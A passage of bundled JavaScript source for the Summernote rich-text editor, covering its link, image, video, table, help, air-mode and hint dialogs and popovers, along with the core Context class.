$linkText.val(linkInfo.text);\n\n        const handleLinkTextUpdate = () => {\n          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n          // if linktext was modified by keyup,\n          // stop cloning text from linkUrl\n          linkInfo.text = $linkText.val();\n        };\n\n        $linkText.on('input', handleLinkTextUpdate).on('paste', () => {\n          setTimeout(handleLinkTextUpdate, 0);\n        });\n\n        const handleLinkUrlUpdate = () => {\n          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n          // display same link on `Text to display` input\n          // when create a new link\n          if (!linkInfo.text) {\n            $linkText.val($linkUrl.val());\n          }\n        };\n\n        $linkUrl.on('input', handleLinkUrlUpdate).on('paste', () => {\n          setTimeout(handleLinkUrlUpdate, 0);\n        }).val(linkInfo.url);\n\n        if (!env.isSupportTouch) {\n          $linkUrl.trigger('focus');\n        }\n\n        this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n        this.bindEnterKey($linkUrl, $linkBtn);\n        this.bindEnterKey($linkText, $linkBtn);\n\n        const isChecked = linkInfo.isNewWindow !== undefined\n          ? linkInfo.isNewWindow : this.context.options.linkTargetBlank;\n\n        $openInNewWindow.prop('checked', isChecked);\n\n        $linkBtn.one('click', (event) => {\n          event.preventDefault();\n\n          deferred.resolve({\n            range: linkInfo.range,\n            url: $linkUrl.val(),\n            text: $linkText.val(),\n            isNewWindow: $openInNewWindow.is(':checked')\n          });\n          this.ui.hideDialog(this.$dialog);\n        });\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        // detach events\n        $linkText.off('input paste keypress');\n        $linkUrl.off('input paste keypress');\n        $linkBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    }).promise();\n  }\n\n  /**\n   * @param {Object} layoutInfo\n   */\n  show() {\n    const linkInfo = this.context.invoke('editor.getLinkInfo');\n\n    this.context.invoke('editor.saveRange');\n    this.showLinkDialog(linkInfo).then((linkInfo) => {\n      this.context.invoke('editor.restoreRange');\n      this.context.invoke('editor.createLink', linkInfo);\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class LinkPopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.keyup summernote.mouseup summernote.change summernote.scroll': () => {\n        this.update();\n      },\n      'summernote.disable summernote.dialog.shown': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.link);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-link-popover',\n      callback: ($node) => {\n        const $content = $node.find('.popover-content,.note-popover-content');\n        $content.prepend('<span><a target=\"_blank\"></a>&nbsp;</span>');\n      }\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.link);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update() {\n    // Prevent focusing on editable when invoke('code') is executed\n    if (!this.context.invoke('editor.hasFocus')) {\n      this.hide();\n      return;\n    }\n\n    const rng = this.context.invoke('editor.createRange');\n    if (rng.isCollapsed() && rng.isOnAnchor()) {\n      const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n      const href = $(anchor).attr('href');\n      this.$popover.find('a').attr('href', href).html(href);\n\n      const pos = dom.posFromPlaceholder(anchor);\n      this.$popover.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top\n      });\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class ImageDialog {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    let imageLimitation = '';\n    if (this.options.maximumImageFileSize) {\n      const unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));\n      const readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +\n                         ' ' + ' KMGTP'[unit] + 'B';\n      imageLimitation = `<small>${this.lang.image.maximumFileSize + ' : ' + readableSize}</small>`;\n    }\n\n    const body = [\n      '<div class=\"form-group note-form-group note-group-select-from-files\">',\n      '<label class=\"note-form-label\">' + this.lang.image.selectFromFiles + '</label>',\n      '<input class=\"note-image-input note-form-control note-input\" ',\n      ' type=\"file\" name=\"files\" accept=\"image/*\" multiple=\"multiple\" />',\n      imageLimitation,\n      '</div>',\n      '<div class=\"form-group note-group-image-url\" style=\"overflow:auto;\">',\n      '<label class=\"note-form-label\">' + this.lang.image.url + '</label>',\n      '<input class=\"note-image-url form-control note-form-control note-input ',\n      ' col-md-12\" type=\"text\" />',\n      '</div>'\n    ].join('');\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.image.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.image.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  show() {\n    this.context.invoke('editor.saveRange');\n    this.showImageDialog().then((data) => {\n      // [workaround] hide dialog before restore range for IE range focus\n      this.ui.hideDialog(this.$dialog);\n      this.context.invoke('editor.restoreRange');\n\n      if (typeof data === 'string') { // image url\n        this.context.invoke('editor.insertImage', data);\n      } else { // array of files\n        this.context.invoke('editor.insertImagesOrCallback', data);\n      }\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n\n  /**\n   * show image dialog\n   *\n   * @param {jQuery} $dialog\n   * @return {Promise}\n   */\n  showImageDialog() {\n    return $.Deferred((deferred) => {\n      const $imageInput = this.$dialog.find('.note-image-input');\n      const $imageUrl = this.$dialog.find('.note-image-url');\n      const $imageBtn = this.$dialog.find('.note-image-btn');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        // Cloning imageInput to clear element.\n        $imageInput.replaceWith($imageInput.clone().on('change', (event) => {\n          deferred.resolve(event.target.files || event.target.value);\n        }).val(''));\n\n        $imageBtn.click((event) => {\n          event.preventDefault();\n\n          deferred.resolve($imageUrl.val());\n        });\n\n        $imageUrl.on('keyup paste', () => {\n          const url = $imageUrl.val();\n          this.ui.toggleBtn($imageBtn, url);\n        }).val('');\n\n        if (!env.isSupportTouch) {\n          $imageUrl.trigger('focus');\n        }\n        this.bindEnterKey($imageUrl, $imageBtn);\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        $imageInput.off('change');\n        $imageUrl.off('keyup paste keypress');\n        $imageBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    });\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\n/**\n * Image popover module\n *  mouse events that show/hide popover will be handled by Handle.js.\n *  Handle.js will receive the events and invoke 'imagePopover.update'.\n */\nexport default class ImagePopover {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n\n    this.editable = context.layoutInfo.editable[0];\n    this.options = context.options;\n\n    this.events = {\n      'summernote.disable': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.image);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-image-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n    this.context.invoke('buttons.build', $content, this.options.popover.image);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update(target) {\n    if (dom.isImg(target)) {\n      const pos = dom.posFromPlaceholder(target);\n      const posEditor = dom.posFromPlaceholder(this.editable);\n      this.$popover.css({\n        display: 'block',\n        left: this.options.popatmouse ? event.pageX - 20 : pos.left,\n        top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)\n      });\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class TablePopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.mousedown': (we, e) => {\n        this.update(e.target);\n      },\n      'summernote.keyup summernote.scroll summernote.change': () => {\n        this.update();\n      },\n      'summernote.disable': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.table);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-table-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.table);\n\n    // [workaround] Disable Firefox's default table editor\n    if (env.isFF) {\n      document.execCommand('enableInlineTableEditing', false, false);\n    }\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update(target) {\n    if (this.context.isDisabled()) {\n      return false;\n    }\n\n    const isCell = dom.isCell(target);\n\n    if (isCell) {\n      const pos = dom.posFromPlaceholder(target);\n      this.$popover.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top\n      });\n    } else {\n      this.hide();\n    }\n\n    return isCell;\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class VideoDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<div class=\"form-group note-form-group row-fluid\">',\n      `<label class=\"note-form-label\">${this.lang.video.url} <small class=\"text-muted\">${this.lang.video.providers}</small></label>`,\n      '<input class=\"note-video-url form-control note-form-control note-input\" type=\"text\" />',\n      '</div>'\n    ].join('');\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.video.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.video.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  createVideoNode(url) {\n    // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)\n    const ytRegExp = /^(?:https?:\\/\\/)?(?:www\\.)?(?:youtu\\.be\\/|youtube\\.com\\/(?:embed\\/|v\\/|watch\\?v=|watch\\?.+&v=))((\\w|-){11})(?:\\S+)?$/;\n    const ytMatch = url.match(ytRegExp);\n\n    const igRegExp = /(?:www\\.|\\/\\/)instagram\\.com\\/p\\/(.[a-zA-Z0-9_-]*)/;\n    const igMatch = url.match(igRegExp);\n\n    const vRegExp = /\\/\\/vine\\.co\\/v\\/([a-zA-Z0-9]+)/;\n    const vMatch = url.match(vRegExp);\n\n    const vimRegExp = /\\/\\/(player\\.)?vimeo\\.com\\/([a-z]*\\/)*(\\d+)[?]?.*/;\n    const vimMatch = url.match(vimRegExp);\n\n    const dmRegExp = /.+dailymotion.com\\/(video|hub)\\/([^_]+)[^#]*(#video=([^_&]+))?/;\n    const dmMatch = url.match(dmRegExp);\n\n    const youkuRegExp = /\\/\\/v\\.youku\\.com\\/v_show\\/id_(\\w+)=*\\.html/;\n    const youkuMatch = url.match(youkuRegExp);\n\n    const qqRegExp = /\\/\\/v\\.qq\\.com.*?vid=(.+)/;\n    const qqMatch = url.match(qqRegExp);\n\n    const qqRegExp2 = /\\/\\/v\\.qq\\.com\\/x?\\/?(page|cover).*?\\/([^\\/]+)\\.html\\??.*/;\n    const qqMatch2 = url.match(qqRegExp2);\n\n    const mp4RegExp = /^.+.(mp4|m4v)$/;\n    const mp4Match = url.match(mp4RegExp);\n\n    const oggRegExp = /^.+.(ogg|ogv)$/;\n    const oggMatch = url.match(oggRegExp);\n\n    const webmRegExp = /^.+.(webm)$/;\n    const webmMatch = url.match(webmRegExp);\n\n    let $video;\n    if (ytMatch && ytMatch[1].length === 11) {\n      const youtubeId = ytMatch[1];\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', '//www.youtube.com/embed/' + youtubeId)\n        .attr('width', '640').attr('height', '360');\n    } else if (igMatch && igMatch[0].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')\n        .attr('width', '612').attr('height', '710')\n        .attr('scrolling', 'no')\n        .attr('allowtransparency', 'true');\n    } else if (vMatch && vMatch[0].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', vMatch[0] + '/embed/simple')\n        .attr('width', '600').attr('height', '600')\n        .attr('class', 'vine-embed');\n    } else if (vimMatch && vimMatch[3].length) {\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('src', '//player.vimeo.com/video/' + vimMatch[3])\n        .attr('width', '640').attr('height', '360');\n    } else if (dmMatch && dmMatch[2].length) {\n      $video = $('<iframe>')\n        .attr('frameborder', 0)\n        .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])\n        .attr('width', '640').attr('height', '360');\n    } else if (youkuMatch && youkuMatch[1].length) {\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('height', '498')\n        .attr('width', '510')\n        .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);\n    } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {\n      const vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);\n      $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n        .attr('frameborder', 0)\n        .attr('height', '310')\n        .attr('width', '500')\n        .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&amp;auto=0');\n    } else if (mp4Match || oggMatch || webmMatch) {\n      $video = $('<video controls>')\n        .attr('src', url)\n        .attr('width', '640').attr('height', '360');\n    } else {\n      // this is not a known video link. Now what, Cat? Now what?\n      return false;\n    }\n\n    $video.addClass('note-video-clip');\n\n    return $video[0];\n  }\n\n  show() {\n    const text = this.context.invoke('editor.getSelectedText');\n    this.context.invoke('editor.saveRange');\n    this.showVideoDialog(text).then((url) => {\n      // [workaround] hide dialog before restore range for IE range focus\n      this.ui.hideDialog(this.$dialog);\n      this.context.invoke('editor.restoreRange');\n\n      // build node\n      const $node = this.createVideoNode(url);\n\n      if ($node) {\n        // insert video node\n        this.context.invoke('editor.insertNode', $node);\n      }\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n\n  /**\n   * show image dialog\n   *\n   * @param {jQuery} $dialog\n   * @return {Promise}\n   */\n  showVideoDialog(text) {\n    return $.Deferred((deferred) => {\n      const $videoUrl = this.$dialog.find('.note-video-url');\n      const $videoBtn = this.$dialog.find('.note-video-btn');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        $videoUrl.val(text).on('input', () => {\n          this.ui.toggleBtn($videoBtn, $videoUrl.val());\n        });\n\n        if (!env.isSupportTouch) {\n          $videoUrl.trigger('focus');\n        }\n\n        $videoBtn.click((event) => {\n          event.preventDefault();\n\n          deferred.resolve($videoUrl.val());\n        });\n\n        this.bindEnterKey($videoUrl, $videoBtn);\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        $videoUrl.off('input');\n        $videoBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    });\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\n\nexport default class HelpDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<p class=\"text-center\">',\n      '<a href=\"http://summernote.org/\" target=\"_blank\">Summernote @@VERSION@@</a> · ',\n      '<a href=\"https://github.com/summernote/summernote\" target=\"_blank\">Project</a> · ',\n      '<a href=\"https://github.com/summernote/summernote/issues\" target=\"_blank\">Issues</a>',\n      '</p>'\n    ].join('');\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.options.help,\n      fade: this.options.dialogsFade,\n      body: this.createShortcutList(),\n      footer: body,\n      callback: ($node) => {\n        $node.find('.modal-body,.note-modal-body').css({\n          'max-height': 300,\n          'overflow': 'scroll'\n        });\n      }\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  createShortcutList() {\n    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n    return Object.keys(keyMap).map((key) => {\n      const command = keyMap[key];\n      const $row = $('<div><div class=\"help-list-item\"/></div>');\n      $row.append($('<label><kbd>' + key + '</kdb></label>').css({\n        'width': 180,\n        'margin-right': 10\n      })).append($('<span/>').html(this.context.memo('help.' + command) || command));\n      return $row.html();\n    }).join('');\n  }\n\n  /**\n   * show help dialog\n   *\n   * @return {Promise}\n   */\n  showHelpDialog() {\n    return $.Deferred((deferred) => {\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n        deferred.resolve();\n      });\n      this.ui.showDialog(this.$dialog);\n    }).promise();\n  }\n\n  show() {\n    this.context.invoke('editor.saveRange');\n    this.showHelpDialog().then(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nconst AIR_MODE_POPOVER_X_OFFSET = 20;\n\nexport default class AirPopover {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.keyup summernote.mouseup summernote.scroll': () => {\n        this.update();\n      },\n      'summernote.disable summernote.change summernote.dialog.shown': () => {\n        this.hide();\n      },\n      'summernote.focusout': (we, e) => {\n        // [workaround] Firefox doesn't support relatedTarget on focusout\n        //  - Ignore hide action on focus out in FF.\n        if (env.isFF) {\n          return;\n        }\n\n        if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(this.$popover[0]))) {\n          this.hide();\n        }\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return this.options.airMode && !lists.isEmpty(this.options.popover.air);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-air-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.air);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update() {\n    const styleInfo = this.context.invoke('editor.currentStyle');\n    if (styleInfo.range && !styleInfo.range.isCollapsed()) {\n      const rect = lists.last(styleInfo.range.getClientRects());\n      if (rect) {\n        const bnd = func.rect2bnd(rect);\n        this.$popover.css({\n          display: 'block',\n          left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,\n          top: bnd.top + bnd.height\n        });\n        this.context.invoke('buttons.updateCurrentStyle', this.$popover);\n      }\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport key from '../core/key';\n\nconst POPOVER_DIST = 5;\n\nexport default class HintPopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.hint = this.options.hint || [];\n    this.direction = this.options.hintDirection || 'bottom';\n    this.hints = $.isArray(this.hint) ? this.hint : [this.hint];\n\n    this.events = {\n      'summernote.keyup': (we, e) => {\n        if (!e.isDefaultPrevented()) {\n          this.handleKeyup(e);\n        }\n      },\n      'summernote.keydown': (we, e) => {\n        this.handleKeydown(e);\n      },\n      'summernote.disable summernote.dialog.shown': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return this.hints.length > 0;\n  }\n\n  initialize() {\n    this.lastWordRange = null;\n    this.$popover = this.ui.popover({\n      className: 'note-hint-popover',\n      hideArrow: true,\n      direction: ''\n    }).render().appendTo(this.options.container);\n\n    this.$popover.hide();\n    this.$content = this.$popover.find('.popover-content,.note-popover-content');\n    this.$content.on('click', '.note-hint-item', () => {\n      this.$content.find('.active').removeClass('active');\n      $(this).addClass('active');\n      this.replace();\n    });\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  selectItem($item) {\n    this.$content.find('.active').removeClass('active');\n    $item.addClass('active');\n\n    this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);\n  }\n\n  moveDown() {\n    const $current = this.$content.find('.note-hint-item.active');\n    const $next = $current.next();\n\n    if ($next.length) {\n      this.selectItem($next);\n    } else {\n      let $nextGroup = $current.parent().next();\n\n      if (!$nextGroup.length) {\n        $nextGroup = this.$content.find('.note-hint-group').first();\n      }\n\n      this.selectItem($nextGroup.find('.note-hint-item').first());\n    }\n  }\n\n  moveUp() {\n    const $current = this.$content.find('.note-hint-item.active');\n    const $prev = $current.prev();\n\n    if ($prev.length) {\n      this.selectItem($prev);\n    } else {\n      let $prevGroup = $current.parent().prev();\n\n      if (!$prevGroup.length) {\n        $prevGroup = this.$content.find('.note-hint-group').last();\n      }\n\n      this.selectItem($prevGroup.find('.note-hint-item').last());\n    }\n  }\n\n  replace() {\n    const $item = this.$content.find('.note-hint-item.active');\n\n    if ($item.length) {\n      const node = this.nodeFromItem($item);\n      // XXX: consider to move codes to editor for recording redo/undo.\n      this.lastWordRange.insertNode(node);\n      range.createFromNode(node).collapse().select();\n\n      this.lastWordRange = null;\n      this.hide();\n      this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);\n      this.context.invoke('editor.focus');\n    }\n  }\n\n  nodeFromItem($item) {\n    const hint = this.hints[$item.data('index')];\n    const item = $item.data('item');\n    let node = hint.content ? hint.content(item) : item;\n    if (typeof node === 'string') {\n      node = dom.createText(node);\n    }\n    return node;\n  }\n\n  createItemTemplates(hintIdx, items) {\n    const hint = this.hints[hintIdx];\n    return items.map((item, idx) => {\n      const $item = $('<div class=\"note-hint-item\"/>');\n      $item.append(hint.template ? hint.template(item) : item + '');\n      $item.data({\n        'index': hintIdx,\n        'item': item\n      });\n      return $item;\n    });\n  }\n\n  handleKeydown(e) {\n    if (!this.$popover.is(':visible')) {\n      return;\n    }\n\n    if (e.keyCode === key.code.ENTER) {\n      e.preventDefault();\n      this.replace();\n    } else if (e.keyCode === key.code.UP) {\n      e.preventDefault();\n      this.moveUp();\n    } else if (e.keyCode === key.code.DOWN) {\n      e.preventDefault();\n      this.moveDown();\n    }\n  }\n\n  searchKeyword(index, keyword, callback) {\n    const hint = this.hints[index];\n    if (hint && hint.match.test(keyword) && hint.search) {\n      const matches = hint.match.exec(keyword);\n      hint.search(matches[1], callback);\n    } else {\n      callback();\n    }\n  }\n\n  createGroup(idx, keyword) {\n    const $group = $('<div class=\"note-hint-group note-hint-group-' + idx + '\"/>');\n    this.searchKeyword(idx, keyword, (items) => {\n      items = items || [];\n      if (items.length) {\n        $group.html(this.createItemTemplates(idx, items));\n        this.show();\n      }\n    });\n\n    return $group;\n  }\n\n  handleKeyup(e) {\n    if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {\n      const wordRange = this.context.invoke('editor.createRange').getWordRange();\n      const keyword = wordRange.toString();\n      if (this.hints.length && keyword) {\n        this.$content.empty();\n\n        const bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));\n        if (bnd) {\n          this.$popover.hide();\n          this.lastWordRange = wordRange;\n          this.hints.forEach((hint, idx) => {\n            if (hint.match.test(keyword)) {\n              this.createGroup(idx, keyword).appendTo(this.$content);\n            }\n          });\n          // select first .note-hint-item\n          this.$content.find('.note-hint-item:first').addClass('active');\n\n          // set position for popover after group is created\n          if (this.direction === 'top') {\n            this.$popover.css({\n              left: bnd.left,\n              top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST\n            });\n          } else {\n            this.$popover.css({\n              left: bnd.left,\n              top: bnd.top + bnd.height + POPOVER_DIST\n            });\n          }\n        }\n      } else {\n        this.hide();\n      }\n    }\n  }\n\n  show() {\n    this.$popover.show();\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport func from './core/func';\nimport lists from './core/lists';\nimport dom from './core/dom';\n\nexport default class Context {\n  /**\n   * @param {jQuery} $note\n   * @param {Object} options\n   */\n  constructor($note, options) {\n    this.ui = $.summernote.ui;\n    this.$note = $note;\n\n    this.memos = {};\n    this.modules = {};\n    this.layoutInfo = {};\n    this.options = options;\n\n    this.initialize();\n  }\n\n  /**\n   * create layout and initialize modules and other resources\n   */\n  initialize() {\n    this.layoutInfo = this.ui.createLayout(this.$note, this.options);\n    this._initialize();\n    this.$note.hide();\n    return this;\n  }\n\n  /**\n   * destroy modules and other resources and remove layout\n   */\n  destroy() {\n    this._destroy();\n    this.$note.removeData('summernote');\n    this.ui.removeLayout(this.$note, this.layoutInfo);\n  }\n\n  /**\n   * destory modules and other resources and initialize it again\n   */\n  reset() {\n    const disabled = this.isDisabled();\n    this.code(dom.emptyPara);\n    this._destroy();\n    this._initialize();\n\n    if (disabled) {\n      this.disable();\n    }\n  }\n\n  _initialize() {\n    // add optional buttons\n    const buttons = $.extend({}, this.options.buttons);\n    Object.keys(buttons).forEach((key) => {\n      this.memo('button.' + key, buttons[key]);\n    });\n\n    const modules = $.extend({}, this.options.modules, $.summernote.plugins || {});\n\n    // add and initialize modules\n    Object.keys(modules).forEach((key) => {\n      this.module(key, modules[key], true);\n    });\n\n    Object.keys(this.modules).forEach((key) => {\n      this.initializeModule(key);\n    });\n  }\n\n  _destroy() {\n    // destroy modules with reversed order\n    Object.keys(this.modules).reverse().forEach((key) => {\n      this.removeModule(key);\n    });\n\n    Object.keys(this.memos).forEach((key) => {\n      this.removeMemo(key);\n    });\n    // trigger custom onDestroy callback\n    this.triggerEvent('destroy', this);\n  }\n\n  code(html) {\n    const isActivated = this.invoke('codeview.isActivated');\n\n    if (html === undefined) {\n      this.invoke('codeview.sync');\n      return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();\n    } else {\n      if (isActivated) {\n        this.layoutInfo.codable.val(html);\n      } else {\n        this.layoutInfo.editable.html(html);\n      }\n      this.$note.val(html);\n      this.triggerEvent('change', html);\n    }\n  }\n\n  isDisabled() {\n    return this.layoutInfo.editable.attr('contenteditable') === 'false';\n  }\n\n  enable() {\n    this.layoutInfo.editable.attr('contenteditable', true);\n    this.invoke('toolbar.activate', true);\n    this.triggerEvent('disable', false);\n  }\n\n  disable() {\n    // close codeview if codeview is opend\n    if (this.invoke('codeview.isActivated')) {\n      this.invoke('codeview.deactivate');\n    }\n    this.layoutInfo.editable.attr('contenteditable', false);\n    this.invoke('toolbar.deactivate', true);\n\n    this.triggerEvent('disable', true);\n  }\n\n  triggerEvent() {\n    const namespace = lists.head(arguments);\n    const args = lists.tail(lists.from(arguments));\n\n    const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];\n    if (callback) {\n      callback.apply(this.$note[0], args);\n    }\n    this.$note.trigger('summernote.' + namespace, args);\n  }\n\n  initializeModule(key) {\n    const module = this.modules[key];\n    module.shouldInitialize = module.shouldInitialize || func.ok;\n    if (!module.shouldInitialize()) {\n      return;\n    }\n\n    // initialize module\n    if (module.initialize) {\n      module.initialize();\n    }\n\n    // attach events\n    if (module.events) {\n      dom.attachEvents(this.$note, module.events);\n    }\n  }\n\n  module(key, ModuleClass, withoutIntialize) {\n    if (arguments.length === 1) {\n      return this.modules[key];\n    }\n\n    this.modules[key] = new ModuleClass(this);\n\n    if (!withoutIntialize) {\n      this.initializeModule(key);\n    }\n  }\n\n  removeModule(key) {\n    const module = this.modules[key];\n    if (module.shouldInitialize()) {\n      if (module.events) {\n        dom.detachEvents(this.$note, module.events);\n      }\n\n      if (module.destroy) {\n        module.destroy();\n      }\n    }\n\n    delete this.modules[key];\n  }\n\n  memo(key, obj) {\n    if (arguments.length === 1) {\n      return this.memos[key];\n    }\n    this.memos[key] 